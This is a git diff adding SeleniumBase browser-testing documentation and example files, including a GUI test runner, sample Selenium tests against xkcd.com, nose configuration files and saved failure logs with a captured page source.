+self.assertTrue(num_email_results)  # true if not zero
+```
+
+Now you can parse through the email if you're looking for specific text or want to navigate to a link listed there.
+
+
+####  Database Powers: 
+Let's say you have a test that needs to access the database. First make sure you already have a table ready. Then try this example:
+
+```python
+from seleniumbase.core.mysql import DatabaseManager
+def write_data_to_db(self, theId, theValue, theUrl):
+    db = DatabaseManager()
+    query = """INSERT INTO myTable(theId,theValue,theUrl)
+               VALUES (%(theId)s,%(theValue)s,%(theUrl)s)"""
+    db.execute_query_and_close(query, {"theId":theId,
+                               "theValue":theValue,
+                               "theUrl":theUrl})
+```
+
+Access credentials are stored in [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py) for your convenience (you have to add them first).
+
+The following example below (taken from the Delayed Data Manager) shows how data can be pulled from the database.
+
+```python
+import logging
+from seleniumbase.core.mysql import DatabaseManager
+
+def get_delayed_test_data(self, testcase_address, done=0):
+    """ Returns a list of rows """
+    db = DatabaseManager()
+    query = """SELECT guid,testcaseAddress,insertedAt,expectedResult,done
+               FROM delayedTestData
+               WHERE testcaseAddress=%(testcase_address)s
+               AND done=%(done)s"""
+    data = db.fetchall_query_and_close(query, {"testcase_address":testcase_address, "done":done})
+    if data:
+        return data
+    else:
+        logging.debug("Could not find any rows in delayedTestData.")
+        logging.debug("DB Query = " + query % {"testcase_address":testcase_address, "done":done})
+        return []
+```
+
+Now you know how to pull data from your MySQL DB.
+
+Delayed Data Manager usage example: If you scheduled an email to go out 12 hours from now and you wanted to check that the email gets received (but you don't want your test sitting idle for 12 hours) you can store the email credentials as a unique time-stamp for the email subject in the DB (along with a time for when it's safe for the email to be searched for) and then a later-running test can do the checking after the right amount of time has passed.
+
+
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") Wrap-Up
+
+Congratulations! You now know how to **Automate like a Pro!**
+
+Questions or Comments? [![Join the chat at https://gitter.im/seleniumbase/SeleniumBase](https://badges.gitter.im/seleniumbase/SeleniumBase.svg)](https://gitter.im/seleniumbase/SeleniumBase?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
+
+Here are some other exciting open source projects on GitHub by smart people I've worked with:
+[https://github.com/hubspot](https://github.com/hubspot)
+
+~ Michael Mintz [https://github.com/mdmintz](https://github.com/mdmintz) [https://www.linkedin.com/in/mdmintz](https://www.linkedin.com/in/mdmintz)
+
+
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") License
+
+[![MIT License](http://img.shields.io/badge/license-MIT-22BBCC.svg "MIT License")](https://github.com/seleniumbase/SeleniumBase/blob/master/LICENSE) (The MIT License)
diff --git a/SeleniumBase/_config.yml b/SeleniumBase/_config.yml
new file mode 100644
index 00000000..c4192631
--- /dev/null
+++ b/SeleniumBase/_config.yml
@@ -0,0 +1 @@
+theme: jekyll-theme-cayman
\ No newline at end of file
diff --git a/SeleniumBase/examples/ReadMe.md b/SeleniumBase/examples/ReadMe.md
new file mode 100755
index 00000000..7eb7170d
--- /dev/null
+++ b/SeleniumBase/examples/ReadMe.md
@@ -0,0 +1,75 @@
+## Running SeleniumBase Scripts
+
+(NOTE: If you didn't install SeleniumBase properly, these scripts won't work. Installation steps include "``pip install seleniumbase``" and/or "``python setup.py install``" from the top-level directory.)
+
+To makes things easier, here's a simple GUI program that allows you to kick off a few example scripts by pressing a button:
+
+```bash
+python gui_test_runner.py
+```
+
+(NOTE: With the exception of [my_first_test.py](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/my_first_test.py), which should pass, many other tests in this folder fail on purpose to demonstrate features such as screenshots on failure, exception logging, and test reports.)
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/GUI_Test_Runner_5.png "GUI Test Runner")
+
+If you run scripts with logging enabled, (using ``--with-testing_base``), you’ll see two folders appear: “latest_logs” and “archived_logs”. The “latest_logs” folder will contain log files from the most recent test run, but logs will only be created if the test run is failing. Afterwards, logs from the “latest_logs” folder will get pushed to the “archived_logs” folder if you have have the ``ARCHIVE_EXISTING_LOGS`` feature enabled in [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py). Make sure to run ``python setup.py install`` for your changes to take effect if you make any changes to that file.
+
+**For running scripts the usual way, here are some of the example run commands:**
+(Note: You can replace ``nosetests`` with ``py.test`` for most of these.)
+
+Run the example test in Chrome:
+```bash
+nosetests my_first_test.py --with-selenium --browser=chrome
+```
+
+Run the example test in Firefox:
+```bash
+nosetests my_first_test.py --with-selenium --browser=firefox
+```
+
+Run the example test in PhantomJS:
+```bash
+nosetests my_first_test.py --with-selenium --browser=phantomjs
+```
+
+Run the example test in Demo Mode (runs slower and adds highlights):
+```bash
+nosetests my_first_test.py --browser=chrome --with-selenium --demo_mode
+```
+
+Run the example test suite in Chrome and generate an html report: (nosetests-only)
+```bash
+nosetests my_test_suite.py --with-selenium --browser=chrome --with-testing_base --report
+```
+
+Run the example test suite in Firefox and generate an html report: (nosetests-only)
+```bash
+nosetests my_test_suite.py --with-selenium --browser=firefox --with-testing_base --report
+```
+
+Run the example test suite in PhantomJS and generate an html report: (nosetests-only)
+```bash
+nosetests my_test_suite.py --with-selenium --browser=phantomjs --with-testing_base --report
+```
+
+Run a test with configuration specifed by a config file:
+```bash
+nosetests my_first_test.py --config=example_config.cfg
+```
+
+Run a test demonstrating the use of Python decorators available:
+```bash
+nosetests rate_limiting_test.py
+```
+
+Run a failing test with pdb mode enabled: (If a test failure occurs, test enters pdb mode)
+```bash
+nosetests test_fail.py --browser=chrome --with-selenium --pdb --pdb-failures
+```
+
+Run a failing test with logging:
+```bash
+nosetests test_fail.py --browser=chrome --with-selenium --with-testing_base --with-basic_test_info --with-page_source --with-screen_shots
+```
+
+(NOTE: If you see any ``*.pyc`` files appear as you run tests, that's perfectly normal. Compiled bytecode is a natural result of running Python code.)
diff --git a/SeleniumBase/examples/__init__.py b/SeleniumBase/examples/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/examples/basic_masterqa_test.py b/SeleniumBase/examples/basic_masterqa_test.py
new file mode 100755
index 00000000..a2bf0ea6
--- /dev/null
+++ b/SeleniumBase/examples/basic_masterqa_test.py
@@ -0,0 +1,13 @@
+from seleniumbase import MasterQA
+
+
+class MasterQATests(MasterQA):
+
+    def test_masterqa(self):
+        self.open("http://xkcd.com/1700/")
+        self.verify("Do you see a webcomic?")
+        self.click_link_text('Store')
+        self.click_link_text('all the things')
+        self.verify("Do you see items for sale?")
+        self.update_text("input.search-input", "Robots\n")
+        self.verify("Do you see robots in the search results?")
diff --git a/SeleniumBase/examples/example_config.cfg b/SeleniumBase/examples/example_config.cfg
new file mode 100755
index 00000000..f30d9032
--- /dev/null
+++ b/SeleniumBase/examples/example_config.cfg
@@ -0,0 +1,9 @@
+[nosetests]
+with-selenium=1
+with-testing_base=1
+with-page_source=1
+with-screen_shots=1
+with-basic_test_info=1
+nocapture=1
+logging-level=INFO
+browser=chrome
diff --git a/SeleniumBase/examples/example_logs/ReadMe.txt b/SeleniumBase/examples/example_logs/ReadMe.txt
new file mode 100755
index 00000000..e078a727
--- /dev/null
+++ b/SeleniumBase/examples/example_logs/ReadMe.txt
@@ -0,0 +1,6 @@
+The log files you see here were generated when test_fail.py ran and failed. You can expect to see similar logs for your tests/scripts if they run and fail when you have logging turned on (usage: —-with-testing_base). See the main ReadMe.md for more details. (With nosetests, you’ll want to add each of the following options separately: -—with-screenshots, —-with-page_source, and —-with-basic_test_info. With pytest, you’ll only need —-with-testing_base to have all of those log options turned on.)
+
+Expected Log Files:
+basic_test_info.txt
+page_source.html
+screenshot.jpg
\ No newline at end of file
diff --git a/SeleniumBase/examples/example_logs/basic_test_info.txt b/SeleniumBase/examples/example_logs/basic_test_info.txt
new file mode 100644
index 00000000..45b84673
--- /dev/null
+++ b/SeleniumBase/examples/example_logs/basic_test_info.txt
@@ -0,0 +1,13 @@
+Last_Page: http://xkcd.com/731/
+Browser: firefox 
+Traceback: Traceback (most recent call last):
+  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/unittest/case.py", line 331, in run
+    testMethod()
+  File "/Users/michael/github/SeleniumBase/examples/test_fail.py", line 11, in test_find_army_of_robots_on_xkcd_desert_island
+    self.wait_for_element_visible("div#ARMY_OF_ROBOTS", timeout=0.5)
+  File "/Users/michael/github/SeleniumBase/seleniumbase/fixtures/base_case.py", line 206, in wait_for_element_visible
+    self.driver, selector, by, timeout)
+  File "/Users/michael/github/SeleniumBase/seleniumbase/fixtures/page_actions.py", line 179, in wait_for_element_visible
+    "Element %s was not visible in %s seconds!" % (selector, timeout))
+ElementNotVisibleException: Message: Element div#ARMY_OF_ROBOTS was not visible in 0.5 seconds!
+
diff --git a/SeleniumBase/examples/example_logs/page_source.html b/SeleniumBase/examples/example_logs/page_source.html
new file mode 100644
index 00000000..55b6bf91
--- /dev/null
+++ b/SeleniumBase/examples/example_logs/page_source.html
@@ -0,0 +1,137 @@
+<base href="http://xkcd.com"></base>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"><head>
+<link title="Default" href="/s/b0dcca.css" type="text/css" rel="stylesheet" />
+<title>xkcd: Desert Island</title>
+<meta content="IE=edge" http-equiv="X-UA-Compatible" />
+<link type="image/x-icon" href="/s/919f27.ico" rel="shortcut icon" />
+<link type="image/x-icon" href="/s/919f27.ico" rel="icon" />
+<link href="/atom.xml" title="Atom 1.0" type="application/atom+xml" rel="alternate" />
+<link href="/rss.xml" title="RSS 2.0" type="application/rss+xml" rel="alternate" />
+<script async="" src="//www.google-analytics.com/analytics.js"></script><script>
+(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
+
+ga('create', 'UA-25700708-7', 'auto');
+ga('send', 'pageview');
+</script>
+<script src="//xkcd.com/1350/jquery.min.js" type="text/javascript"></script>
+<script src="//xkcd.com/static/json2.js" type="text/javascript"></script>
+
+</head>
+<body>
+<div id="topContainer">
+<div id="topLeft">
+<ul>
+<li><a href="/archive">Archive</a></li>
+<li><a href="http://what-if.xkcd.com">What If?</a></li>
+<li><a href="http://blag.xkcd.com">Blag</a></li>
+<li><a href="http://store.xkcd.com/">Store</a></li>
+<li><a href="/about" rel="author">About</a></li>
+</ul>
+</div>
+<div id="topRight">
+<div id="masthead">
+<span><a href="/"><img width="185" height="83" alt="xkcd.com logo" src="//imgs.xkcd.com/static/terrible_small_logo.png" /></a></span>
+<span id="slogan">A webcomic of romance,<br /> sarcasm, math, and language.</span>
+</div>
+<div id="news">
+Thing Explainer is available at: <a href="http://amzn.to/1GCXMJ5" title="Thing Explainer Amazon purchase link">Amazon</a>, <a href="http://www.barnesandnoble.com/w/thing-explainer-randall-munroe/1121864432?ean=9780544668256" title="Thing Explainer Barnes and Noble purchase link">Barnes &amp; Noble</a>, <a href="http://www.indiebound.org/book/9780544668256" title="Thing Explainer Indie Bound purchase link">Indie Bound</a>, <a href="http://www.hudsonbooksellers.com/thingexplainer" title="Thing Explainer Hudson purchase link">Hudson</a><br />
+<br />
+I'll be in <a href="http://www.andersonsbookshop.com/event/naperville-reads-randall-munroe" title="Napierville Reads event page">Naperville, IL</a> and <a href="https://www.eventbrite.ca/e/indigo-exclusive-randall-munroe-tickets-18694384407" title="EventBrite event page">Toronto, ON</a> (with <a href="http://www.qwantz.com/" title="Dinosaur Comics">Ryan North</a>!) next week.
+
+</div>
+</div>
+<div class="bg box" id="bgLeft"></div>
+<div class="bg box" id="bgRight"></div>
+</div>
+<div class="box" id="middleContainer">
+
+<div id="ctitle">Desert Island</div>
+<ul class="comicNav">
+<li><a href="/1/">|&lt;</a></li>
+<li><a accesskey="p" href="/730/" rel="prev">&lt; Prev</a></li>
+<li><a href="//c.xkcd.com/random/comic/">Random</a></li>
+<li><a accesskey="n" href="/732/" rel="next">Next &gt;</a></li>
+<li><a href="/">&gt;|</a></li>
+</ul>
+<div id="comic">
+<img alt="Desert Island" title="Telescopes and bathyscaphes and sonar probes of Scottish lakes, Tacoma Narrows bridge collapse explained with abstract phase-space maps, some x-ray slides, a music score, Minard's Napoleonic war: the most exciting new frontier is charting what's already here." src="//imgs.xkcd.com/comics/desert_island.png" />
+</div>
+<ul class="comicNav">
+<li><a href="/1/">|&lt;</a></li>
+<li><a accesskey="p" href="/730/" rel="prev">&lt; Prev</a></li>
+<li><a href="//c.xkcd.com/random/comic/">Random</a></li>
+<li><a accesskey="n" href="/732/" rel="next">Next &gt;</a></li>
+<li><a href="/">&gt;|</a></li>
+</ul>
+<br />
+Permanent link to this comic: http://xkcd.com/731/<br />
+Image URL (for hotlinking/embedding): http://imgs.xkcd.com/comics/desert_island.png
+<div style="display: none" id="transcript">[[A man sits writing in a diary on a desert island, only the sandy tip of which with a palm tree on it stands above the water. Beneath the surface is a kelp forest, some sharks, a stingray, a shipwreck, a submarine, several large jellyfish, a giant squid fighting a sperm whale, a crashed plane, some coral formations, a thermal vent emitting a plume of smoke surrounded by several annelids, and a snail.]]
+Man: Day 44: Still stranded, with nothing but flat empty water as far as the eye can see.
+
+{{Title text: Telescopes and bathyscapes and sonar probes of Scottish lakes, Tacoma Narrows bridge collapse explained with abstract phase-space maps, some x-ray slides, a music score, Minard's Napoleonic war: the most exciting new frontier is charting what's already here.}}</div>
+<br />
+<hr width="80%" />
+<br />
+<a href="http://amzn.to/1GCXMJ5"><img border="0" src="//imgs.xkcd.com/store/te-pages-sb.png" /></a><br />
+</div>
+<div class="box" id="bottom">
+<img width="520" height="100" usemap="#comicmap" alt="Selected Comics" src="//imgs.xkcd.com/s/a899e84.jpg" />
+<map name="comicmap" id="comicmap">
+<area alt="Grownups" href="/150/" coords="0,0,100,100" shape="rect" />
+<area alt="Circuit Diagram" href="/730/" coords="104,0,204,100" shape="rect" />
+<area alt="Angular Momentum" href="/162/" coords="208,0,308,100" shape="rect" />
+<area alt="Self-Description" href="/688/" coords="312,0,412,100" shape="rect" />
+<area alt="Alternative Energy Revolution" href="/556/" coords="416,0,520,100" shape="rect" />
+</map>
+<div>
+<!--
+Search comic titles and transcripts:
+<script type="text/javascript" src="//www.google.com/jsapi"></script>
+<script type="text/javascript">google.load('search', '1');google.setOnLoadCallback(function() {google.search.CustomSearchControl.attachAutoCompletion('012652707207066138651:zudjtuwe28q',document.getElementById('q'),'cse-search-box');});</script>
+<form action="//www.google.com/cse" id="cse-search-box">
+<div>
+<input type="hidden" name="cx" value="012652707207066138651:zudjtuwe28q"/>
+<input type="hidden" name="ie" value="UTF-8"/>
+<input type="text" name="q" id="q" size="31"/>
+<input type="submit" name="sa" value="Search"/>
+</div>
+</form>
+<script type="text/javascript" src="//www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
+-->
+<a href="/rss.xml">RSS Feed</a> - <a href="/atom.xml">Atom Feed</a>
+</div>
+<br />
+<div id="comicLinks">
+Comics I enjoy:<br />
+        <a href="http://threewordphrase.com/">Three Word Phrase</a>,
+        <a href="http://www.smbc-comics.com/">SMBC</a>,
+        <a href="http://www.qwantz.com">Dinosaur Comics</a>,
+        <a href="http://oglaf.com/">Oglaf</a> (nsfw),
+        <a href="http://www.asofterworld.com">A Softer World</a>,
+        <a href="http://buttersafe.com/">Buttersafe</a>,
+        <a href="http://pbfcomics.com/">Perry Bible Fellowship</a>,
+        <a href="http://questionablecontent.net/">Questionable Content</a>,
+        <a href="http://www.buttercupfestival.com/">Buttercup Festival</a>,
+        <a href="http://www.mspaintadventures.com/?s=6&amp;p=001901">Homestuck</a>,
+	<a href="http://www.jspowerhour.com/">Junior Scientist Power Hour</a>
+</div>
+<p>Warning: this comic occasionally contains strong language (which may be unsuitable for children), unusual humor (which may be unsuitable for adults), and advanced mathematics (which may be unsuitable for liberal-arts majors).</p>
+<div id="footnote">BTC 1FhCLQK2ZXtCUQDtG98p6fVH7S6mxAsEey<br />We did not invent the algorithm. The algorithm consistently finds Jesus. The algorithm killed Jeeves. <br />The algorithm is banned in China. The algorithm is from Jersey. The algorithm constantly finds Jesus.<br />This is not the algorithm. This is close.</div>
+<div id="licenseText">
+<p>
+This work is licensed under a
+<a href="http://creativecommons.org/licenses/by-nc/2.5/">Creative Commons Attribution-NonCommercial 2.5 License</a>.
+</p><p>
+This means you're free to copy and share these comics (but not to sell them). <a href="/license.html" rel="license">More details</a>.</p>
+</div>
+</div>
+
+
+
+
+</body><!-- Layout by Ian Clasbey, davean, and chromakode --><canvas id="fxdriver-screenshot-canvas" style="display: none;" width="960" height="1943"></canvas></html>
\ No newline at end of file
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HcmV?d00001

diff --git a/SeleniumBase/examples/gui_test_runner.py b/SeleniumBase/examples/gui_test_runner.py
new file mode 100755
index 00000000..4e2e13bf
--- /dev/null
+++ b/SeleniumBase/examples/gui_test_runner.py
@@ -0,0 +1,109 @@
+'''
+GUI TEST RUNNER
+Run by Typing: "python gui_test_runner.py"
+'''
+
+from Tkinter import Tk, Frame, Button, Label
+import os
+
+
+class App:
+
+    def __init__(self, master):
+        frame = Frame()
+        frame.pack()
+        root.title("Select Test Job To Run")
+        self.label = Label(root, width=40).pack()
+        self.title = Label(frame, text="", fg="black").pack()
+        self.title1 = Label(
+            frame, text="Basic Test Run in Chrome:", fg="blue").pack()
+        self.run1 = Button(
+            frame, command=self.run_1,
+            text=("nosetests my_first_test.py --with-selenium"
+                  " --browser=chrome")).pack()
+        self.title2 = Label(
+            frame, text="Basic Test Run in Firefox:", fg="blue").pack()
+        self.run2 = Button(
+            frame, command=self.run_2,
+            text=("nosetests my_first_test.py"
+                  " --with-selenium --browser=firefox")).pack()
+        self.title3 = Label(
+            frame, text="Basic Test Run in Demo Mode:", fg="blue").pack()
+        self.run3 = Button(
+            frame, command=self.run_3,
+            text=("nosetests my_first_test.py"
+                  " --with-selenium --browser=chrome --demo_mode")).pack()
+        self.title4 = Label(
+            frame,
+            text="Basic Failing Test Run with Screenshots:",
+            fg="blue").pack()
+        self.run4 = Button(
+            frame, command=self.run_4,
+            text=("nosetests test_fail.py --with-selenium --browser=chrome"
+                  " --with-testing_base --demo_mode")).pack()
+        self.title5 = Label(
+            frame,
+            text="Basic Failing Test Suite Run with Test Report:",
+            fg="blue").pack()
+        self.run5 = Button(
+            frame, command=self.run_5,
+            text=("nosetests my_test_suite.py --with-selenium"
+                  " --browser=chrome --with-testing_base --report")).pack()
+        self.title6 = Label(
+            frame,
+            text="Basic Failing Test Run showing the Multiple-Checks feature:",
+            fg="blue").pack()
+        self.run6 = Button(
+            frame, command=self.run_6,
+            text=("nosetests non_terminating_checks_test.py"
+                  " --browser=chrome --with-selenium")).pack()
+        self.title7 = Label(
+            frame,
+            text="MySQL DB Reporting Tests: (See ReadMe.md for Setup Steps!)",
+            fg="blue").pack()
+        self.run7 = Button(
+            frame, command=self.run_7,
+            text=("nosetests my_test_suite.py --with-selenium"
+                  " --browser=chrome --with-db_reporting")).pack()
+        self.end_title = Label(frame, text="", fg="black").pack()
+        self.quit = Button(frame, text="QUIT", command=frame.quit).pack()
+
+    def run_1(self):
+        os.system(
+            'nosetests my_first_test.py --with-selenium --browser=chrome')
+
+    def run_2(self):
+        os.system(
+            'nosetests my_first_test.py --with-selenium --browser=firefox')
+
+    def run_3(self):
+        os.system(
+            'nosetests my_first_test.py --with-selenium --demo_mode'
+            ' --browser=chrome')
+
+    def run_4(self):
+        os.system(
+            'nosetests test_fail.py --with-selenium'
+            ' --browser=chrome --with-testing_base --demo_mode')
+
+    def run_5(self):
+        os.system(
+            'nosetests my_test_suite.py --with-selenium'
+            ' --browser=chrome --with-testing_base --report')
+
+    def run_6(self):
+        os.system(
+            'nosetests non_terminating_checks_test.py --with-selenium'
+            ' --browser=chrome')
+
+    def run_7(self):
+        os.system(
+            'nosetests my_test_suite.py --with-selenium'
+            ' --browser=chrome --with-db_reporting')
+
+
+if __name__ == "__main__":
+    root = Tk()
+    root.minsize(612, 444)
+    app = App(root)
+    root.mainloop()
diff --git a/SeleniumBase/examples/masterqa_test.py b/SeleniumBase/examples/masterqa_test.py
new file mode 100755
index 00000000..a4a6b942
--- /dev/null
+++ b/SeleniumBase/examples/masterqa_test.py
@@ -0,0 +1,25 @@
+from seleniumbase import MasterQA
+
+
+class MasterQATests(MasterQA):
+
+    def test_xkcd(self):
+        self.open("http://xkcd.com/1512/")
+        for i in xrange(4):
+            self.click('a[rel="next"]')
+        for i in xrange(3):
+            self.click('a[rel="prev"]')
+        self.verify()
+        self.open("http://xkcd.com/1520/")
+        for i in xrange(2):
+            self.click('a[rel="next"]')
+        self.verify("Can you find the moon?")
+        self.click('a[rel="next"]')
+        self.verify("Do the drones look safe?")
+        self.click_link_text('Blag')
+        self.update_text("input#s", "Robots!\n")
+        self.verify("Does it say 'Hooray robots' on the page?")
+        self.open("http://xkcd.com/213/")
+        for i in xrange(5):
+            self.click('a[rel="prev"]')
+        self.verify("Does the page say 'Abnormal Expressions'?")
diff --git a/SeleniumBase/examples/my_first_test.py b/SeleniumBase/examples/my_first_test.py
new file mode 100755
index 00000000..4be67414
--- /dev/null
+++ b/SeleniumBase/examples/my_first_test.py
@@ -0,0 +1,99 @@
+from seleniumbase import BaseCase
+
+
+class MyTestClass(BaseCase):
+
+    def test_basic(self):
+        self.open('http://xkcd.com/353/')            # Navigate to the web page
+        self.assert_element('img[alt="Python"]')       # Assert element on page
+        self.click('a[rel="license"]')                  # Click element on page
+        self.assert_text('copy and reuse', 'div center')  # Assert element text
+        self.open('http://xkcd.com/1481/')
+        image_object = self.find_element('#comic img')    # Returns the element
+        caption = image_object.get_attribute('title')   # Get element attribute
+        self.assertTrue('connections to the server' in caption)
+        self.click_link_text('Blag')              # Click on link with the text
+        self.assert_text('xkcd', '#site-title')
+        header_text = self.get_text('header h2')  # Grab text from page element
+        self.assertTrue('The blag of the webcomic' in header_text)
+        self.update_text('input#s', 'Robots!\n')  # Fill in field with the text
+        self.assert_text('Hooray robots!', '#content')
+        self.open('http://xkcd.com/1319/')
+        self.assert_text('Automation', 'div#ctitle')
+
+        ####
+
+        #######################################################################
+        #
+        #    ****  NOTES / USEFUL INFO  ****
+        #
+        # 1. By default, CSS Selectors are used to identify elements.
+        #    You can use other identification options like PARTIAL_LINK_TEXT:
+        #    [
+        #        from selenium.webdriver.common.by import By
+        #        ...
+        #        self.click('Next', by=By.PARTIAL_LINK_TEXT)
+        #    ]
+        #    For the full list of `By` options, type ``dir(By)`` into a python
+        #    command prompt after importing it (or in ipdb debugger mode). Ex:
+        #    {
+        #        >>> dir(By)
+        #        ['CLASS_NAME', 'CSS_SELECTOR', 'ID', 'LINK_TEXT', 'NAME', ...
+        #    }
+        #    XPath is used by default if the arg starts with "/", "./", or "(":
+        #    [
+        #        self.click('/html/body/div[3]/div[4]/p[2]/a')
+        #    ]
+        #    But if you want XPath-clicking to be more clear in the code, use:
+        #    [
+        #        self.click_xpath('/html/body/div[3]/div[4]/p[2]/a')
+        #    ]
+        #
+        #    If you're completely new to CSS selectors, right-click on a
+        #    web page and select "Inspect Element" to see the CSS in the html.
+        #
+        # 2. Most methods have the optional `timeout` argument. Ex:
+        #    [
+        #        self.get_text('center', timeout=15)
+        #    ]
+        #    The `timeout` argument tells the method how many seconds to wait
+        #    for an element to appear before raising an exception. This is
+        #    useful if a web page needs additional time to load an element.
+        #    If you don't specify a `timeout`, a default timeout is used.
+        #    Default timeouts are configured in seleniumbase/config/settings.py
+        #
+        # 3. There's usually more than one way to do the same thing. Ex:
+        #    [
+        #        header_text = self.get_text('header h2')
+        #        self.assertTrue('The blag of the webcomic' in header_text)
+        #    ]
+        #    Can be simplified to:
+        #    [
+        #        self.assert_text('The blag of the webcomic', 'header_text')
+        #    ]
+        #
+        #    The following lines:
+        #    [
+        #        image_object = self.find_element('#comic img')
+        #        caption = image_object.get_attribute('title')
+        #    ]
+        #    Can also be written as:
+        #    [
+        #        caption = self.get_attribute('#comic img', 'title')
+        #    ]
+        #
+        #    And the following line:
+        #    [
+        #        header_text = self.get_text('header h2')
+        #    ]
+        #    Can also be written as:
+        #    [
+        #        header_text = self.find_element('header h2').text
+        #    ]
+        #    ...and in many more ways!
+        #
+        #    For backwards-compatibilty, some methods have multiple names.
+        #    Ex: wait_for_element_visible() is the same as find_element().
+        #    Both search for and return the element, and raise an exception if
+        #    the element does not appear on the page within the timeout limit.
+        #    (See seleniumbase/fixtures/base_case.py for the full method list.)
diff --git a/SeleniumBase/examples/my_test_suite.py b/SeleniumBase/examples/my_test_suite.py
new file mode 100755
index 00000000..be5e6df4
--- /dev/null
+++ b/SeleniumBase/examples/my_test_suite.py
@@ -0,0 +1,31 @@
+''' NOTE: This test suite contains 2 passing tests and 2 failing tests. '''
+
+from seleniumbase import BaseCase
+
+
+class MyTestSuite(BaseCase):
+
+    def test_1(self):
+        self.open("http://xkcd.com/1663/")
+        self.find_text("Garden", "div#ctitle", timeout=3)
+        for p in xrange(4):
+            self.click('a[rel="next"]')
+        self.find_text("Algorithms", "div#ctitle", timeout=3)
+
+    def test_2(self):
+        # This test should FAIL
+        print("\n(This test fails on purpose)")
+        self.open("http://xkcd.com/1675/")
+        raise Exception("FAKE EXCEPTION: This test fails on purpose.")
+
+    def test_3(self):
+        self.open("http://xkcd.com/1406/")
+        self.find_text("Universal Converter Box", "div#ctitle", timeout=3)
+        self.open("http://xkcd.com/608/")
+        self.find_text("Form", "div#ctitle", timeout=3)
+
+    def test_4(self):
+        # This test should FAIL
+        print("\n(This test fails on purpose)")
+        self.open("http://xkcd.com/1670/")
+        self.find_element("FakeElement.DoesNotExist", timeout=0.5)
diff --git a/SeleniumBase/examples/non_terminating_checks_test.py b/SeleniumBase/examples/non_terminating_checks_test.py
new file mode 100755
index 00000000..58ab8556
--- /dev/null
+++ b/SeleniumBase/examples/non_terminating_checks_test.py
@@ -0,0 +1,15 @@
+from seleniumbase import BaseCase
+
+
+class MyTestClass(BaseCase):
+
+    def test_non_terminating_checks(self):
+        self.open('http://xkcd.com/993/')
+        self.wait_for_element('#comic')
+        self.check_assert_element('img[alt="Brand Identity"]')
+        self.check_assert_element('img[alt="Rocket Ship"]')  # Will Fail
+        self.check_assert_element('#comicmap')
+        self.check_assert_text('Fake Item', '#middleContainer')  # Will Fail
+        self.check_assert_text('Random', '#middleContainer')
+        self.check_assert_element('a[name="Super Fake !!!"]')  # Will Fail
+        self.process_checks()
diff --git a/SeleniumBase/examples/rate_limiting_test.py b/SeleniumBase/examples/rate_limiting_test.py
new file mode 100755
index 00000000..e803de4a
--- /dev/null
+++ b/SeleniumBase/examples/rate_limiting_test.py
@@ -0,0 +1,19 @@
+"""
+This test demonstrates the use of the "rate_limited" decorator.
+You can use this decorator on any method to rate-limit it.
+"""
+
+import unittest
+from seleniumbase.common import decorators
+
+
+class MyTestClass(unittest.TestCase):
+
+    @decorators.rate_limited(3.5)  # The arg is max calls per second
+    def print_item(self, item):
+        print(item)
+
+    def test_rate_limited_printing(self):
+        print("\nRunning rate-limited print test:")
+        for item in xrange(1, 11):
+            self.print_item(item)
diff --git a/SeleniumBase/examples/run_my_first_test_in_chrome.sh b/SeleniumBase/examples/run_my_first_test_in_chrome.sh
new file mode 100755
index 00000000..dfd41c2c
--- /dev/null
+++ b/SeleniumBase/examples/run_my_first_test_in_chrome.sh
@@ -0,0 +1 @@
+nosetests my_first_test.py --browser=chrome --with-selenium --logging-level=INFO -s
\ No newline at end of file
diff --git a/SeleniumBase/examples/run_my_first_test_in_firefox.sh b/SeleniumBase/examples/run_my_first_test_in_firefox.sh
new file mode 100755
index 00000000..a8598246
--- /dev/null
+++ b/SeleniumBase/examples/run_my_first_test_in_firefox.sh
@@ -0,0 +1 @@
+nosetests my_first_test.py --browser=firefox --with-selenium --logging-level=INFO -s
\ No newline at end of file
diff --git a/SeleniumBase/examples/run_rate_limiting_test.sh b/SeleniumBase/examples/run_rate_limiting_test.sh
new file mode 100755
index 00000000..bb8fb46a
--- /dev/null
+++ b/SeleniumBase/examples/run_rate_limiting_test.sh
@@ -0,0 +1 @@
+nosetests rate_limiting_test.py -s
\ No newline at end of file
diff --git a/SeleniumBase/examples/run_test_fail_with_logging.sh b/SeleniumBase/examples/run_test_fail_with_logging.sh
new file mode 100755
index 00000000..592e9037
--- /dev/null
+++ b/SeleniumBase/examples/run_test_fail_with_logging.sh
@@ -0,0 +1 @@
+nosetests test_fail.py --with-selenium --with-testing_base --with-basic_test_info --with-page_source --with-screen_shots
\ No newline at end of file
diff --git a/SeleniumBase/examples/setup.cfg b/SeleniumBase/examples/setup.cfg
new file mode 100755
index 00000000..061dbdd1
--- /dev/null
+++ b/SeleniumBase/examples/setup.cfg
@@ -0,0 +1,6 @@
+[nosetests]
+
+; This is the config file for default values used during nosetest runs
+
+nocapture=1  ; Displays print statements from output. Undo this by using: --nologcapture
+logging-level=INFO  ; INFO keeps the logs much cleaner than using DEBUG
diff --git a/SeleniumBase/examples/test_fail.py b/SeleniumBase/examples/test_fail.py
new file mode 100755
index 00000000..90cfc60e
--- /dev/null
+++ b/SeleniumBase/examples/test_fail.py
@@ -0,0 +1,11 @@
+""" This test was made to fail on purpose to demonstrate the
+    logging capabilities of the SeleniumBase Test Framework """
+
+from seleniumbase import BaseCase
+
+
+class MyTestClass(BaseCase):
+
+    def test_find_army_of_robots_on_xkcd_desert_island(self):
+        self.open("http://xkcd.com/731/")
+        self.assert_element("div#ARMY_OF_ROBOTS", timeout=0.7)
